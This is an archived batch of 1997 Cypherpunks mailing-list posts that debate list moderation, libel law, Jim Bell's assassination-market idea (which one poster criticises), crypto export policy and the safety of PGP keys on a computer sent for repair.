Where do people get them?
=======================================
Scott Bellavance 
scott-b@ix.netcom.com
http://www.netcom.com/~scott-b/homepage.html
=======================================

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzAu56UAAAEEAL8pOdPu2pw5E91f99ByJWT+O1smtcOlIr6GL9TdCbdZ6I2U
UPLl7RL5cV4e3Wv4nIIZiOIePMAUouM5fQZib4vnGpCKM/WxfGQBRGafsq2mlzvE
IKLBrdYhQ5STl/qZIaCKI2+V4hdsvTPaI0PCqGzGoiDv9gbbZ40Gi3F38KqtAAUR
tCtTY290dCBSLiBCZWxsYXZhbmNlIDxzY290dC1iQGl4Lm5ldGNvbS5jb20+
=Hfbk
-----END PGP PUBLIC KEY BLOCK-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 2 Feb 1997 01:58:06 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Cyphernomicon by Tim May
Message-ID: <199702020958.BAA16066@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> That question is one for Tim to answer, but I should point out that
> philosophical anarchists are not necessarily opposed to rules, just
> government rules -- which this moderation policy clearly is not.

I've seen this kind of statement so many times I just have to point it
out:  "which this moderation policy *clearly* (emph. mine) is not".

Why is it so clear to you, but not everyone?  Am I missing something?
Didn't Reagan, Bush, North et al make it clear enough to Americans
that much of what the govt. does has been privatized, as if we didn't
know already from the 1970's assassination hearings in the Congress,
or from when Carter fired the 900 security guys and they went to work
for "private" contractors?

I ask you again to look at the motives of the people involved.  John
Gilmore isn't about to waste a second of his personal time "moderating"
this list (who could blame him?), and I can't for the life of me see
a reason why Sandy would want to devote so much time to it.  Have you
or anyone seen a real reason why Sandy would want to do this?  Is he
so devoted to crypto and personal freedom that he'll do *anything* to
eliminate the postings which "threaten" this list, or could there be
some other, hidden motivation?  My long experience in the real world
says that professional people do *not* devote a great deal of their
time to things like this unless there is an *awfully* good reason.

> On Sat, 1 Feb 1997, Dale Thorn wrote:
> > Toto wrote:
> > > 3.5.1 Contrary to what people sometimes claim, there is no ruling
> > >        clique of Cypherpunks. Anybody is free to do nearly anything,
> > >        just not free to commit others to course of action, or claim
> > >        to speak for the "Cypherpunks" as a group (and this last
> > >        point is unenforceable except through reputation and social
> > >        repercussions).
> > > 3.6.3 "Why isn't the list moderated?"
> > >       ...hardly consistent with many of our anarchist leanings, is it?
> > >       - "No, please, let's not become a 'moderated' newsgroup. This
> > >       would be the end of freedom!

> > Is this why T.C. May hasn't posted in quite a while?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 1 Feb 1997 19:27:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: NSA Material at the National Archives
Message-ID: <199702020327.TAA06468@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


For access to the 5,000 items declassified under NSA's OPENDOOR
program (http://www.nsa.gov:8080/programs/opendoor), we got 
this answer from the National Archives:

Dear Mr. Young:

This is in response to your electronic mail inquiry of December 20, 1996,
concerning National Security Agency records transferred to the National
Archives.

The material described on the NSA web site was transferred to the
National Archives and made available in April 1996.  We can supply you
with electrostatic (paper) copies of select files for $0.25 per page. 
Please let us know which files you would like copied, and we will send
you a reproduction price quote (please include your mailing address with
all such requests).  We ask that you limit each request to five files.

Should you choose to come to Washington to do research, our records
and microfilm publications are available for consultation without charge in
our research room.  The National Archives at College Park (Archives II),
is located at 8601 Adelphi Road, College Park, Maryland.  If you do not
have a research card, you must apply for one in the reception area. 
Research room hours (except legal holidays) are 8:45 a.m. to 5 p.m.,
Monday and Wednesday; and 8:45 a.m. to 9 p.m., Tuesday, Thursday
and Friday.  Our subject matter specialists are not on duty after 5:15 p.m.
 The research rooms also are open on Saturday from 8:45 a.m. to 4:45
p.m., with a small research room staff present.  Requests for records
must be made before 3:30 p.m. Monday-Friday; no requests can be made
on Saturday.  The telephone number for the Archives II Reference
Branch is 301-713-7250.

Ken Schlessinger
Archives II
Textual Reference Branch
National Archives at College Park
8601 Adelphi Rd
College Park, MD  20740-6001

kenneth.schlessinger@ARCH2.NARA.GOV








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 01:40:53 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Cyphernomicon by Tim May
Message-ID: <199702020940.BAA15622@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:

> Toto, I'm surprised at how seriously you take the underlying anarchist
> philosophy of the list; you identify so closely with it, and have responded
> to its moderation as though it really would be "the end of freedom", even
> though you seem to have appeared, or else come out of lurking, only
> recently.   Is this because you value anarchy, or free speech, or the
> existence of the Cypherpunks as a unique group of stray cats [ :>) ]?

  I value Reason (big 'R'), humor (small 'h'), and A/ambiguity (take
your
pick).

  Anarchy is only a pause between dictators. Fascism is necessary to
remind
us not to take freedom for granted.
  One should call for 'order' during the rein of anarchy and for
'freedom 
during times of Fascism.

  I have 'appeared' and/or 'come out of lurking' on the CypherPunks list
at various times since it's inception, under various personas. Few have
noticed, and fewer, still, have ever accurately described, as you have,
what I truly value about the CypherPunks--"a unique group of stray
cats."
  The CypherPunks have, over the years, weathered varying sorts of 
'problems' in the development of the list, as a result of various
'voices
of Reason' prevailing in the setting the list's direction--even when
those 'voices' were diametrically opposed in their beliefs.
  What currently threatens the list, in my opinion, is not the
dissension,
but the rise of a cliquish sheep-mentality and the resulting dismissal
of the opinions of people of Reason (and the opinions of 'anyone', in 
general, whom 'I' perceive as being on the 'other side' of an issue).

  If the day comes when I am able to file away the CypherPunks list
under this-or-that category, then I will put a tombstone in the file, as
well, and put flowers in it once a year.

Toto
> Side note:
> Since Tim isn't on the list and hasn't been for a month, I've been
> wondering if it had anything to do with the moderation experiment, although
> it is unlike him to have left without either an argument or at least some
> kind of statement about it.
> 
>     ..
> Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 02:11:29 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: Libel, Times v. Sullivan
Message-ID: <199702021011.CAA16502@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Greg Broiles

Since we've now got Jim Bell arguing that it's obvious that a free and open
society must tolerate anything which might be defamatory, and Jim Choate
arguing that it's obvious that a free and open society cannot tolerate
anything which might be defamatory, I think I'm going to wander away from
this discussion confident that the answer is, at least, nonobvious. :)
..................................................................


Heh -  Jim B. and Jim C.:  the Yin & Yang of Society At Large.
What could a discussion between them produce.

    ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 2 Feb 1997 01:42:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Free & Open Society & toleration (fwd)
Message-ID: <199702020942.BAA15659@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Nobody has a problem with your ideals, it's just that Jim Bell is
> trying to say (correct me and forgive me if I'm wrong) that:
> 
> 1. Society will never subscribe to your ideals.

But other than two points they already do. The two points being,

1. Libel is a recognized legal concept now, the difference is one of degree.
   That degree of difference being how much money there is available for
   the lawyer and their willingness to enforce the concepts of justice in
   the society based upon their perceived ability to profit by it.

2. The extension of acceptance of reasonable legal representation by lot
   from not only the defence but also the prosecution.

My solutions to these two issues are:

1.  Removal of the lawyer from the ultimate choice of whether the case
    should be pursued.

2.  The minimalization of the defendants and plaintiffs monetary resources
    by removing them from the legal system by choosing the legal
    representation of both parties by lot.

3.  By moving the responsibility of police to provide evidence from the
    prosecution to the court we equalize the impact of irregularities
    in evidence selection as well as minimizing the sorts of evidence
    disputes which so impact some trials (ie OJ Simpson).

4.  By the implimentation of a bond proviso on the part of the plaintiff
    the system provides a check and balance reducing nuisance cases as
    well as reducing the taxation load on the citizenry.
 
> 2. Society is not static, i.e., instead of remaining at a constant
>    level of corruption, the officials will keep demanding more,
>    until there's a sudden, catastrophic break.

Absolutely, that is one of the reasons I refuse to seperate those who
represent the social contract (eg the Constitution) and those who are
impacted by it, which includes even those who represent it and enforce its
various responsibilities. AP relies on this distinction as axiomatic. This
axiomatic view is ultimately based in a jealous greed for what others have
(ie power, percieved or real) and the implicit belief that all people are
NOT created equal.

> 3. The AP solution has the potential to stabilize the level of
>    corruption, which should make violent revolutions and genocide
>    unnecessary.

But it doesn't. What it does is provide a mechanism for de-stabalization.
Just look at the Middle East and the history of assassination.
Assassinations have never stabalized that region or any other. There is
nothging in our current understanding of human psychology and social
interactions that leads to the conclusion that threats of violence will
necessarily force people to comply. If it did the government (as perceived
by AP) would not have to deal with real opposition. Simply threaten the
opposition and it melts away for the same reason that supposedly the
government would cease to oppose radicalism (ie changes in the status quo
forced by small groups upon the masses). If anything every real world
example of AP demonstrates an increase in corruption (eg. Beirut).

The closest analog in history to AP is the "Flowery Wars" as practiced by
the Aztecs. However, these were motivated by a belief in religous homogeneity
and not one of politics. Also, implicit in this was the axiomatic acceptance
of a real class seperation between those who ruled and those who were ruled.
By no means could one accept the premise that this caused the Aztec rulers
to be more sensitive to corruption or the continued existance of their
system. Another good example is assassination in ancient Rome, it is clear
that such activities in no way reduced corruption.

If anything AP provides a rationale (ie self-defence) to impose even harsher
a priori conditions on sections of a society by another part of that society.
Hardly what I would consider a stabalizing condition let alone democratic.
What is required for stability is for each group to feel unthreatened and
secure in expressing their beliefs without fear of reprisals and at the same
time recognizing they must provide room for others beliefs. There must also
be the realization that refusal to abide by these precepts will be met with
immediate consequences. Something AP can't do, as it explicitly promotes
threats and the carrying out thereof.

On another issue, it was asked what purpose there is in suing a poor person.
Simple lack of monetary wealth should be no more reason to exempt a party
from justice than having large quantities. A citizen should face the
consequences of their actions, how rich or poor they are is an irrelevant
issue.

Concepts required for a true working democracy:

Liberty
Justice
Equality
Fraternity


                                                         Jim Choate
                                                         CyberTects
                                                         ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 01:40:52 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Libel, Times v. Sullivan
Message-ID: <199702020940.BAA15621@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:

> Your last paragraph looks like an exercise of the silly game the TV show "60
> minutes" producers often play when they read the letters from the audience
> about a previous report on a controversial subject.  They first read a
> letter from an outraged viewer who claims that the TV show's producers must
> have been biased in one direction, and then they read another letter from a
> different viewer who alleges they showed a bias in the opposite direction.
> The show is trying to leave you with the impression that they MUST have been
> unbiased, because they are being accused of diametrically opposite leanings.

  Sounds suspiciously like Sandy's approach to 'fair' moderation, to me.
 
> All they are really showing is that given the hundreds and probably
> thousands of letters they receive on each show weekly (which are, by
> definition, written by self-motivated people) they can get at least one on
> each end of the spectrum for whatever subject they've just covered.

  Perhaps they author these 'letters' themselves:
  "I agree wholeheartedly with the position espoused by '60 Minutes'.
and,
  "I don't not think maybe dat dese guys are write, nohow."

> A clue is present in the likely fact that the origins of defamation laws
> were primarily to keep the king and the upper-crust free of printed and
> verbal attack directed by the lower-classes, even given the presence of
> whatever nominal "free-speech" guarantees were present.

  Next thing you know, saying, "The king is fucking the queen.", is
libel
and defamation. Go figure...

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 2 Feb 1997 02:11:45 -0800 (PST)
To: Raph Levien <raph@cs.berkeley.edu>
Subject: Re: How I Would Ban Strong Crypto in the U.S.
Message-ID: <199702021011.CAA16513@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:58 AM 7/15/96 -0400, about six months ago, when Clipper III was new,
Raph Levien wrote:
>1. The battle over whether applications can contain strong encryption 
>algorithms has basically been lost. For example, SSL-enabled 
>applications are widely available over the world, thanks in large part 
>to the work of Eric Young. The same will happen for any other encryption 
>protocol that catches on.

Unfortunately, the Government hasn't given up on this one;
Peter Gutman's recent articles on export policy in New Zealand and
Australia suggest that Our Public Servants are trying an end-run
by getting those countries to stop export and development by productive 
crypto authors, targeting the toolkits that are being widely used
inside and outside the US.

>2. The battle for key management has not yet been fought. 

Yeah.  I haven't heard much from Clipper III recently,
since they've been trumpeting Clipper IV "Key Recovery" recently,
but that doesn't mean it's not going on.  Unlike politican efforts
such as Key Recovery, infrastructure attacks such as PKI
may require long-term technical development - the Cooperative
Research and Development Alliances (CRADAs) are not just to
bribe otherwise-valuable companies to stay out of the way,
they're to do things that may be sprung on us later;
I'd predict this coming summer.  For instance, back in July,
John Young quoted a Business Wire article about
 =  Toronto -- Certicom Corp. a leading information security 
 =  company, today announced that it will participate in an 
 =  initiative by the U.S. Commerce Department's National 
 =  Institute of Standards and Technology (NIST) which will 
 =  lead to the development of the elements of a public key 
 =  infrastructure (PKI).  
Certicom are the folks who do Elliptic Curve Cryptosystems,
which haven't been used much due to patent questions and 
RSA's dominance, but which allow much shorter public keys
and may have some speed advantages, both of which are
quite important for smartcard use.

>3. Anybody can write an application that supports strong encryption 
>algorithms. Witness SSH, a very impressive and useful program, which was 
>basically done by one person, Tatu Ylonen. However, building a key 
>management infrastructure will take lots of money, hard work, and 
>cooperation.
....
>4. Thus, the best leverage for the TLAs to win is to guide the 
>development of a key management infrastructure with the following 
>property: if you don't register your key, you can't play. I believe that 
>this is the true meaning of the word "voluntary:" you're free to make 
>the choice not to participate.
..
>6. Export is a two player game. The other country has to allow import of 
>the stuff, too. If the Burns bill passes, the "administration" would 
>strong-arm other countries to prohibit import of strong crypto, still 
>leaving US developers with no market.

It failed, and they've now got an Ambassador strong-arming other countries
to prohibit export.

>7. Building this stuff is too much of a task for the TLAs. They tried it 
>with Clipper, and it failed. They hoped that building the Tessera card 
>would be enough - that once they threw it over the wall, it would be 
>eagerly snapped up by industry.

>8. Thus, they're going to cajole, bribe, and coerce software companies 
>to play along. This fact is quite nakedly exposed in the document (good 
>thing the injunction against the CDA is still in force :-).

Yeah.  Clipper IV is getting a lot of people jumping on the bandwagon
to get export permission for their 56-bit software.  Many of the people
who are most vocal about it are the usual suspects anyway, but it's
closer to commercial usability that industry's more cooperative this round,
especially with more Internet money fever.

>> Don't be fooled.
>Who? Us cypherpunks?
>Raph
:-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 02:15:07 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: Cyphernomicon by Tim May
Message-ID: <199702021015.CAA16619@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  What currently threatens the list, in my opinion, is not the dissension,
but the rise of a cliquish sheep-mentality and the resulting dismissal
of the opinions of people of Reason (and the opinions of 'anyone', in
general, whom 'I' perceive as being on the 'other side' of an issue).
........................................................................

Who are these sheep you're talking about?   At the end of the trial period, 
anyone still on the list who doesn't like the moderation can at their 
leisure either protest vehemently its continuation, producing masterly 
works of eloquence in favor of continuing the free-for-all, or they can 
unsubscribe (sp?).    They *don't* have to take it, or identify with the 
cpunks any longer.

I think what threatens the list is the absence of really major issues to 
fire up everyone's sense of indignation & imagination, plus the fact that 
many of the long-timers are pretty sophisticated on all the political 
issues which have been discussed before (how many of Tim May's long 
treatises, engaging, thorough, and relevant as they may be, can one read 
yet again without recognizing the repetitive themes therein), plus a lack 
of interest in engaging in rhetorical arguments with people who find it 
difficult to think in a straight line.   Sometimes the posts on the list 
come to resemble more attempts at educating the clueless than discussions 
among peers which could truly advance an understanding of between fine 
points of difference.

Whom can one blame for what does not exist (on the list) -  there is no 
mechanism for its production; only the attractions of the subject and the 
aim, are what bring in the participants who could provide substance and 
depth.

Perhaps waxing lyrical on the features of Eudora and regular reminders on 
the benefits of mail filtering would be encouraging to "the timid"?

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Sun, 2 Feb 1997 02:11:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702021011.CAA16505@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


David Lesher <wb8foz@nrk.com> writes:

> USPS uses key locks seemingly designed by Ben Franklin himself.
> Look at them someday. FedEx boxes used to have Simplex 926 
> 5 pushbutton ""locks"" if you stretch the point.

Don't let the old-fashioned look deceive you.  Most mail storage boxes
use lever tumbler locks (similar to what's used in safe deposit
vaults, though obviously the mailbox locks have a flimsier plug).
Lever tumbler locks are in general much harder to pick than pin
tumbler locks (the kind on most doors).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sun, 2 Feb 1997 01:42:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment
Message-ID: <199702020942.BAA15658@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 1 Feb 1997, jim bell wrote:

> At 12:52 PM 2/1/97 -0500, Mark M. wrote:
> >On Sat, 1 Feb 1997, Peter J. Capelli wrote:
> >
> >> 	You mean to say, rich people can overcrowd the courts as much as they
> >> like, while others are restricted by contigency-only lawyers ( Call 
> >> 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to
> >> control
> >> a poor one with many frivolous lawsuits ... while they can afford to file 
> >> lawsuit after lawsuit, the poor person cannot defend himself.
> >
> >What, exactly, would be the point of suing a poor person?
> 
> To quiet him from political dissent, presumably.  I think the term coined a 
> few years ago was "SLAPP", something akin to "Strategic Lawsuit Against 
> Public Policy," or similar.

I should point out that in my previous post, I was refering to the specific
instance of libel -- not any general lawsuit.  I can think of very few
instances where a rich person would sue someone without the resources to even
defend himself for libel just to harass the defendant.  I'm sure there are a
few cases, but it wouldn't be worth the plaintiff's time or money.  I would be
interested if anyone knows of any specific examples of this.



Mark
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te3EJ90gjHxDcv/QRopQ3fRM5KzsHgr5JqPRWDFF0Zo3CxbRsB8x/CK3aIo2axpt
xEAeA/TT3oBWOCXFs2fVR6dCy4XAMh4e/q58kNnDqqUnJNBgto5kr8Hp4op9Ypgi
WO0G0Su6L8JuBwnui6Ni5XxHSBchBwu6Z0Jv0TFrG43lnS++K+UriX9cIYxR8JVH
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4+75YOpRIgHAugMyl/bbNZgTjStoLUicHATyt7PLEUtj/sbmPbakkQ==
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 2 Feb 1997 01:56:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
Message-ID: <199702020956.BAA16034@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> >> My computer went into the shop a few days ago, and I was unable to take
> >> my PGP keys off it before it went in.  What are the security risks here?
> >> If the repairman chooses to snoop through the files, what would he be
> >> able to do with my key pair?  Will I need to revoke the key and make a
> >> new one, or will I be relatively safe since he doesn't have my
> >> passphrase?
>
> Passphrases are MD5-hashed into 128-bit IDEA keys and used to
> encrypt the secret key; there's a "pgpcrack" program out there
> that does dictionary-style searches to find if you've got
> wimpy passphrases.  So if your passphrases is "secret", you lose,
> but if it's "fjhw;doifvjuc-[09efiu v` 2	4rnhc;ljoipcvjpoiewujfgv;loik"
> you're probably pretty safe, unless that's written on the yellow
> sticky you left on the side of the PC.
>
> On the other hand, if the "repairman" replaced your pgp executable
> with version 2.6.3kgb, which uses your hashed passphrase as the
> session key, you're hosed.  Or if he installed a keystroke sniffer,
> or added a small radio transmitter to your keyboard, or whatever.
> Depends on your threat model.  If you need to be paranoid,
> they've already gotten you....

If you're really paranoid, you can boot from a clean floppy and
reinstall everything from your backup tapes. You do have a
contingency plan in case your hard disk goes bad, or gets a
virus, don't you? Well, if you're in doubt, exercise it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 01:56:30 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Free & Open Society & toleration
Message-ID: <199702020956.BAA16038@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> It has been asserted that I am claiming that a free and open society should
> not abide any and all actions in contrast to Jim Bell's assertion that a
> free and open society must tolerate any action.
> 
> This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY
> ECONOMIC system must have some minimum standards on what is allowed. By no
> means do I hold that the ONLY means of a free and open society is a democracy.
> It is quite possible to have an anarchy which would also be a free and open
> society and by DEFINITION would tolerate any action by its members acting
> individualy or in concert.

  I have waited, with bated breath, for you to take a position which is 
short, concise, and well-reasoned. Well, you finally did, but you just
couldn't leave it alone, could you?
  I think that what you have written (above) is a valid and meaningful
statement of your position. I see what follows, however, as a train of
'logic' which follows a pre-defined, emotionally-charged justification
of a defensive position you have taken, as a result of a real or 
imagined 'slight'.

  I have followed your 'libel' thread, as rambling (and sometimes 
dichotomously incoherent) as it is, and I recognize that you are
passionate in your beliefs (for which I salute you), but I think
that perhaps your interests might be better served if you let
logic lead your emotions.
  If you did so, I might well hire you as my lawyer (to defend me
in your libel suit against me), since you do have a 'bulldog' 
sense of determination in pursing any position you take.
  The million-and-one posts you made with the results of your
search-engine research on libel only served to accentuate your
inability to fully understand the issues underlying libel and
defamation. Your own opinions regarding your thoughts and 
opinions regarding these same issues were much more poignant
and enlightening.
  I would hope that, in the future, you would justify your 
beliefs and opinions with a revelation of your own points of
logic (or illogic) rather than attempting to support them 
with legalese rulings which often stand on a foundation of
sand, especially under close judicial scrutiny.
  You do, indeed, raise some points that are worthy of valid
consideration, and debate, but they tend to get lost in your
excessive arguments regarding them.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 01:58:06 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199702020958.BAA16065@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> At 08:02 PM 2/1/97 -0800, Toto wrote:
> >  I also think that the other list members involved in this thread are
> >'nobodies', but I was too polite to say anything.
> 
> It's odd that you would say this.  I get that impression ("nobodies") about
> practically EVERY subject discussed here.  Why name this particular one, as
> if it were somehow special?

Jim,
 "You're 'nobody', till 'somebody' loves you..."
 Everybody has their own prediliction as to what interests them, 
and what is 'frivilous' on the list.
 Someone, in private email, mentioned that they felt that 60% of the
posts were 'uninteresting'. I replied that this seemed to be a close
approximation of many list members' beliefs, but that, if we all
moderated/censored out 'our' 60% of 'uninteresting' posts before 
the list was sent out, that there would be precious little left.

  I don't know if you recognized my comment as humor, since I have
an aversion to using 'happy faces' (the result of a childhood trauma),
but I just love to poke fun at the plethora of personas on the list
who seem to believe that anything outside of their immediate scope
of interest is somehow 'unworthy' of being posted the list.

 By the way, in order to prevent this post from going to the 'flames'
list, I will NOT say that you are a low-life, scum-sucking Nazi piece
of shit. I will likewise refrain from suggesting that your mother
wears army boots, you are a child-pornographer, an imbecile, and
a pervert, or that you beat your wife and children regularly.
 By golly, I think I'm 'getting the hang of' this new, improved,
Politically Correct, nicey-nice list format.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 2 Feb 1997 01:56:23 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: "Strong" crypto and export rule changes.
Message-ID: <199702020956.BAA16024@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:
| >        What the US government will allow to be exported is not "strong
| >encryption."  It is encryption only slightly too strong to be broken
| >by an amateur effort.  For the right investment in custom hardware, it
| >falls quickly.  (500,000 $US = 3.5 hour avg break).
| >
| 
| Considering Ian's feat you certainly seem to have had your crystal
| ball in hand.  

	I wear three around my neck.  Its a new age thing.

	More seriously, that estimate is the cost of breaking DES on
custom hardware, based on Wiener's figures.  Ian got RC4-40 in 3.5
hours on I don't know how much hardware, not a lot of it custom,
AFAIK.

Adam

-- 
Pet peeve of the day: Security companies whose protocols dare not
speak their name, because they don't have one. Guilty company of the
day is now V-One.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 2 Feb 1997 02:13:14 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Key Security Question
Message-ID: <199702021013.CAA16577@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Bill Stewart <stewarts@ix.netcom.com> writes:
> > On the other hand, if the "repairman" replaced your pgp executable
> > with version 2.6.3kgb, which uses your hashed passphrase as the
> > session key, you're hosed.  Or if he installed a keystroke sniffer,
> > or added a small radio transmitter to your keyboard, or whatever.
> > Depends on your threat model.  If you need to be paranoid,
> > they've already gotten you....
> 
> If you're really paranoid, you can boot from a clean floppy and
> reinstall everything from your backup tapes. You do have a
> contingency plan in case your hard disk goes bad, or gets a
> virus, don't you? Well, if you're in doubt, exercise it.

And what if the repairman replaces BIOS ROM chips with KGBios?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 2 Feb 1997 01:59:48 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Cyphernomicon by Tim May
Message-ID: <199702020959.BAA16083@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


That question is one for Tim to answer, but I should point out that
philosophical anarchists are not necessarily opposed to rules, just
government rules -- which this moderation policy clearly is not.

-Declan


On Sat, 1 Feb 1997, Dale Thorn wrote:

> Toto wrote:
> > 3.5.1 Contrary to what people sometimes claim, there is no ruling
> >        clique of Cypherpunks. Anybody is free to do nearly anything,
> >        just not free to commit others to course of action, or claim
> >        to speak for the "Cypherpunks" as a group (and this last
> >        point is unenforceable except through reputation and social
> >        repercussions).
> > 3.6.3 "Why isn't the list moderated?"
> >       ...hardly consistent with many of our anarchist leanings, is it?
> >       - "No, please, let's not become a 'moderated' newsgroup. This
> >       would be the end of freedom!
> 
> Is this why T.C. May hasn't posted in quite a while?
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 2 Feb 1997 02:11:43 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Free & Open Society & toleration
Message-ID: <199702021011.CAA16509@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate allegedly said:
> 
> It has been asserted that I am claiming that a free and open society should
[...]
> 
> This is not my case at all. I hold that [...]
> means do I hold [...]
> I hold [...]
> worthless. I DO hold [...]
> all speech. I further hold [...]
> I further hold [...]
> I further hold [...]

Whew!  That's a lot of holding, my friend.  I've heard that prunes 
help. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sun, 2 Feb 1997 02:11:41 -0800 (PST)
To: rex <rshea@netcom.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702021011.CAA16508@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 31 Jan 1997, rex wrote:

> Black Unicorn <unicorn@schloss.li> wrote:
> 
> >If you want to look at it a different way, if you are involved with a drug
> >offense and are not using a weapon, you'll get a lower sentence than a
> >full fledged drug crime.  It's a step in the right direction - i.e. away
> >from manadatory sentencing of a flat time period for a crime regardless of
> >circumstances.
> 
> But Putra got the same sentence she would have gotten had she been
> convicted on both charges. The fact that she was acquitted meant nothing.

That this is true once, does not make it so in all cases.

You also lose sight of the general scheme of things.  That the sentence
imposed may have the same maximum sentence with sentencing enhancements
and a lesser included offense as with conviction of a "great offense"
means nothing with regard to the validity of sentencing enhancements.

That theft and low level bank fraud have the same penality when theft is
enhanced with a "victim was infirm or helpless" or a "firearm was used in
furtherance of the crime" could as easily reflect a lack of vigor and
spite in the prosecution of bank fraud as it could reflect severe vigor  
and spite in the prosecution of theft.

Please note that the difference between:

"But he got the same sentence as he would have if he was convicted of 
carrying a gun in furtherance of the crime."

and

"But he got the same sentence as he would have is he was not convicted of
carrying a gun in furtherance of the crime."

is subtle at best.

Next time don't get caught stealing with a gun nearby.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 02:13:17 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Cyphernomicon by Tim May
Message-ID: <199702021013.CAA16582@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:
> From:   Toto
>   What currently threatens the list, in my opinion, is not the dissension,
